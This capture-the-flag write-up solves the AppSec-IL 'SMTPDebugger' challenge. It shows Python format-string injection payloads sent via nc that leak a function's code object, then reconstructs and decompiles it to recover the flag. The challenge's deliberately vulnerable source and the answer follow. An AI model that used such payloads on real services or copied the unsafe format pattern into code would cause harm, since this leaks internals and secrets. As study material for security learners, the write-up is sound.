SMTPDebugger
- Category: CodeReview
- 500 points
- Solved by JCTF Team
Description
Solution
We review the provided SMTPDebugger.py
file.
The first thing to draw our attention is the following method of SMTPDebbuger
class:
@staticmethod
def get_flag():
return "AppSec-IL{This_Is_Not_The_Flag!}"
Whoa did we get the flag in the source code in clear text?! After all many sources embed interesting secrets which is BKM of course wink wink
Unfortunately plan A is toast as "This_is_not_the_flag"™, but well it would not be satisfying challenge if it were :-)
Plan B: find a way to leak the flag returned from this function.
Looking for a possible vulnerability we arrive at the send_message
method:
def send_message(self):
smtp = SMTP(host='localhost', port=1025)
msg = MIMEMultipart()
msg['From'] = self.from_addr
msg['To'] = self.to_addrs
msg['Subject'] = self.subject.format(**self.extra)
msg.attach(MIMEText(self.message.format(email=self, **self.extra), 'plain'))
from_addr, to_addrs, flatmsg, mail_options, rcpt_options = smtp.send_message(msg)
self.process_message("127.0.0.1", from_addr, to_addrs, flatmsg)
We see that we have here a strings we control subject
and message
(with additional extra
"json" object) which are formated.
We try:
nc -v smtpdebugger.appsecil.ctf.today 2525
{"message": "Hello there!", "from_addr": "[email protected]", "to_addrs": "[email protected]", "subject": "{SMTPDebbuger.get_flag()}"}
We get nothing back, why?
OK, so we got something terribly wrong - probably faulty-human memory confusing different languages string format abilities.
So lets refresh/learn python's string format "abilities":
- Call syntax is not supported, at least we now know why our first attempt failed.
- It is possible to access:
- Attribute by identifier.
- Items by index.
A new plan is needed as we can't call the method or any method.
Plan C: Leak the get_flag
method itself.
How? By accessing the nice __code__
attribute of any python function. It is a "code-object" we will need to leak all of the important attributes of it in order to recreate this function in our local setup.
In order to leak get_flag
we need to access it which means accessing the SMTPDebbuger
class, we try:
nc -v smtpdebugger.appsecil.ctf.today 2525
{"message": "Hello there!", "from_addr": "[email protected]", "to_addrs": "[email protected]", "subject": "{SMTPDebbuger.get_flag.__code__}"}
Nothing! again?!
Apparently we can only access parameters passed to the format
function. Huh, lets look again. Found:
msg.attach(MIMEText(self.message.format(email=self, **self.extra), 'plain'))
Good self
here is an instance of SMTPDebugger
. We try:
nc -v smtpdebugger.appsecil.ctf.today 2525
{"message": "{email.__class__.get_flag.__code__}", "from_addr": "[email protected]", "to_addrs": "[email protected]", "subject": "Subject"}
...
...
b'<code object get_flag at 0x0000016D608196F0, file "/app/index.py", line 71>'
...
Bingo! Now we get all the relevant attributes, we collect them in a python file:
from types import CodeType
argcount = 0
kwonlyargcount = 0
nlocals = 17
stacksize = 10
flags = 67
code = b'd\x01d\x00l\x00}\x00d\x02}\x01d\x03}\x02d\x04}\x03d\x02}\x04y\x08t\x01\x01\x00W\x00nF\x04\x00t\x02k\nrf\x01\x00}\x05\x01\x00z(|\x04t\x03|\x05\x83\x01\xa0\x04t\x05d\x05\x83\x01\xa1\x01d\x06\x19\x007\x00}\x04|\x04\x9b\x00d\x07\x9d\x02}\x04W\x00d\x00d\x00}\x05~\x05X\x00Y\x00n\x02X\x00\x90\x01xJt\x06t\x03t\x07\x83\x00\x83\x01\x83\x01D\x00\x90\x01]6\\\x02}\x06}\x07|\x01|\x077\x00}\x01d\x08}\x07d\t}\x08d\n}\td\x0bd\x0cd\rg\x03}\nd\x0e}\x0bd\x0f}\x0cd\x10}\r|\x06sz|\x01t\x08t\x03\x83\x01d\x11\x19\x00\xa0\t\xa1\x007\x00}\x01|\x01t\nj\x0bj\x0cd\x01\x19\x007\x00}\x01d\x12}\x0ed\x13}\x0f|\x01|\x0e|\x0f\x17\x00|\x07\x17\x007\x00}\x01|\x01|\t7\x00}\x01|\x01t\nj\x0bj\x0cd\x14\x19\x007\x00}\x01|\x01t\rt\x0et\x0fj\x10j\x11\x83\x01\xa0\x12\xa1\x00\x83\x01d\x15\x19\x00\xa0\x13d\x16\xa1\x01\xa0\t\xa1\x007\x00}\x01d\x16}\x10|\x01|\x107\x00}\x01|\x01t\nj\x0c\xa0\t\xa1\x007\x00}\x01|\x01t\x0cd\x06\x19\x007\x00}\x01|\x01|\x00\xa0\x14t\x15d!|\nd"\x95\x03\x83\x01d\x00d\x00d\x14\x85\x03\x19\x00\xa1\x01\xa0\x16\xa1\x007\x00}\x01|\x01t\x0cd\x1b\x19\x007\x00}\x01|\x01t\x0fj\x17j\x0c\xa0\x04|\x10\xa1\x01d\x14\x19\x00\xa0\x18d\x1cd\x1d\xa1\x027\x00}\x01|\x01\xa0\x18d\x1et\x03d\x01\x83\x01\xa1\x02}\x01qzW\x00|\x04|\x01\xa0\x18t\x05d\x1f\x83\x01d \xa1\x02\x17\x00S\x00'
consts = (None, 0, '', 'realgam3', 'Tomer Zait', 39, 1, '-IL', 'u', 'b', 's', 78, 49, 70, 'c', 'r', 'k', 41, 'p', 'l', -1, 8, '_', 119, 71, 88, 82, -2, 'f', 'F', 'o', 101, '3', (49, 119, 71), (88, 82))
names = ('base64', 'AppSec', 'Exception', 'str', 'split', 'chr', 'enumerate', 'dict', 'dir', 'title', 'object', '__init__', '__name__', 'list', 'vars', 'SMTPDebugger', 'send_message', '__class__', 'keys', 'strip', 'b64decode', 'bytearray', 'decode', 'get_flag', 'replace')
varnames = ('base64', 'flag', 'author', 'realgam3', 'start', 'ex', 'i', 'c', 'h', 'r', 'l', 't', 'e', 'z', 'b', 'a', '_')
filename = '/app/index.py'
name = 'get_flag'
firstlineno = 71
lnotab = b'\x00\x02\x08\x02\x04\x01\x04\x01\x04\x01\x04\x01\x02\x01\x08\x01\x10\x01\x1a\x01\x1c\x02\x1c\x01\x08\x01\x04\x01\x04\x01\x04\x01\n\x01\x04\x01\x04\x01\x04\x02\x04\x01\x14\x01\x10\x01\x04\x01\x04\x01\x10\x01\x08\x01\x10\x01&\x01\x04\x01\x08\x01\x0e\x01\x0c\x01&\x01\x0c\x01\x1e\x01\x14\x01'
freevars = ()
cellvars = ()
code_obj = CodeType(argcount, kwonlyargcount, nlocals, stacksize, flags, code, consts,names, varnames, filename, name, firstlineno,lnotab, freevars, cellvars)
Using uncompyle6
as in the following code:
from uncompyle6.main import decompile
import sys
decompile(None, code_obj, sys.stdout, showast=False)
We get the following code:
# uncompyle6 version 3.7.4
# Python bytecode 3.7
# Decompiled from: Python 3.7.2 (tags/v3.7.2:9a3ffc0492, Dec 23 2018, 23:09:28) [MSC v.1916 64 bit (AMD64)]
# Embedded file name: /app/index.py
import base64
flag = ''
author = 'realgam3'
realgam3 = 'Tomer Zait'
start = ''
try:
AppSec
except Exception as ex:
try:
start += str(ex).split(chr(39))[1]
start = f"{start}-IL"
finally:
ex = None
del ex
for i, c in enumerate(str(dict())):
flag += c
c = 'u'
h = 'b'
r = 's'
l = [78, 49, 70]
t = 'c'
e = 'r'
z = 'k'
if not i:
flag += dir(str)[41].title()
flag += object.__init__.__name__[0]
b = 'p'
a = 'l'
flag += b + a + c
flag += r
flag += object.__init__.__name__[(-1)]
flag += list(vars(SMTPDebugger.send_message.__class__).keys())[8].strip('_').title()
_ = '_'
flag += _
flag += object.__name__.title()
flag += __name__[1]
flag += base64.b64decode(bytearray([49, 119, 71, *l, 88, 82])[::-1]).decode()
flag += __name__[(-2)]
flag += SMTPDebugger.get_flag.__name__.split(_)[(-1)].replace('f', 'F')
flag = flag.replace('o', str(0))
return start + flag.replace(chr(101), '3')
Replacing SMTPDebugger.send_message.__class__
with types.MethodType
and SMTPDebugger.get_flag.__name__
with 'get_flag'
we run the resulting code and get the flag:
AppSec-IL{F0rmat_plus_C0d3_Obj3ct_Equ4l5_Flag}
Credit due
- For example of how to initiate code object from its' attributes, credit to article, see last paragraph and code example on page 16. Note: article is written in Hebrew.
Full Source
import re
import sys
import json
import smtpd
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
BANNER = """
`/hmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmy/`
+NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN+
oMMMMMMMMMdoooooooooooooooooooooooooooooooooooooooooooooooooooooooooodMMMMMMMMM+
NMMMMMMMMMMd: :dMMMMMMMMMMm
MMMMM/+mMMMMMd: :dMMMMMm+/MMMMM
MMMMM: `+NMMMMMd: :dMMMMMN+` :MMMMM
MMMMM: `+NMMMMMd: :dMMMMMN+` :MMMMM
MMMMM: `+mMMMMMd: :dMMMMMm+` :MMMMM
MMMMM: `+NMMMMMd: :dMMMMMN+` :MMMMM
MMMMM: `+NMMMMMd: :dMMMMMN+ :MMMMM
MMMMM: `+NMMMMMd: :dMMMMMm+` :MMMMM
MMMMM: `+NMMMMMd: :dMMMMMN+` :MMMMM
MMMMM: `+mMMMMMd: :dMMMMMm+` :MMMMM
MMMMM: :NMMMMMMd: :dMMMMMMN: :MMMMM
MMMMM: :hMMMMMMMMMMd: :dMMMMMMMMMMh: :MMMMM
MMMMM: :hMMMMMN++NMMMMMd: :dMMMMMN++NMMMMMh: :MMMMM
MMMMM: -hMMMMMNo` `+NMMMMMd: :dMMMMMN+` `oNMMMMMh- :MMMMM
MMMMM: -hMMMMMNo` `+NMMMMMmmMMMMMN+ `oNMMMMMh- :MMMMM
MMMMM: :hMMMMMNo` `+NMMMMMMMMm+` `oNMMMMMh: :MMMMM
MMMMM: :hMMMMMNo` `/ydmmdy/` `oNMMMMMh: :MMMMM
MMMMM: -hMMMMMN+` `+NMMMMMh- :MMMMM
MMMMM: :hMMMMMNo` `oNMMMMMh: :MMMMM
NMMMMshMMMMMNo` `oNMMMMMhsMMMMN
+MMMMMMMMMMNsoooooooooooooooooooooooooooooooooooooooooooooooooooooosNMMMMMMMMMM+
+NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN+
`+hmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMmy/`
"""
class SMTP(smtplib.SMTP):
class fake_socket(object):
def sendall(self, *args):
pass
def _get_socket(self, host, port, timeout):
return self.fake_socket()
def getreply(self):
return 220, ""
def sendmail(self, *args):
return args
class SMTPDebugger(object):
_print_message_content = smtpd.DebuggingServer._print_message_content
process_message = smtpd.DebuggingServer.process_message
def __init__(self, from_addr, to_addrs, subject, message, **extra):
self.from_addr = self.validate_email(from_addr)
self.to_addrs = ";".join(map(self.validate_email, to_addrs.split(";")))
self.subject = subject
self.message = message
self.extra = extra
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
return False
@staticmethod
def get_flag():
return "AppSec-IL{This_Is_Not_The_Flag!}"
@staticmethod
def validate_email(email):
email = email.strip()
res = re.match(
r'^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@'
r'((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$',
email
)
if not res:
raise ValueError("'{email}' is bad email address!".format(email=email))
return email
def send_message(self):
smtp = SMTP(host='localhost', port=1025)
msg = MIMEMultipart()
msg['From'] = self.from_addr
msg['To'] = self.to_addrs
msg['Subject'] = self.subject.format(**self.extra)
msg.attach(MIMEText(self.message.format(email=self, **self.extra), 'plain'))
from_addr, to_addrs, flatmsg, mail_options, rcpt_options = smtp.send_message(msg)
self.process_message("127.0.0.1", from_addr, to_addrs, flatmsg)
@classmethod
def run(cls):
try:
print(BANNER)
kwargs = json.loads(input("Enter Email JSON: "))
print()
with cls(**kwargs) as smtp:
smtp.send_message()
except Exception as ex:
print("\n[ERROR] {exception}".format(exception=ex), file=sys.stderr)
return 1
return 0
if __name__ == "__main__":
sys.exit(SMTPDebugger.run())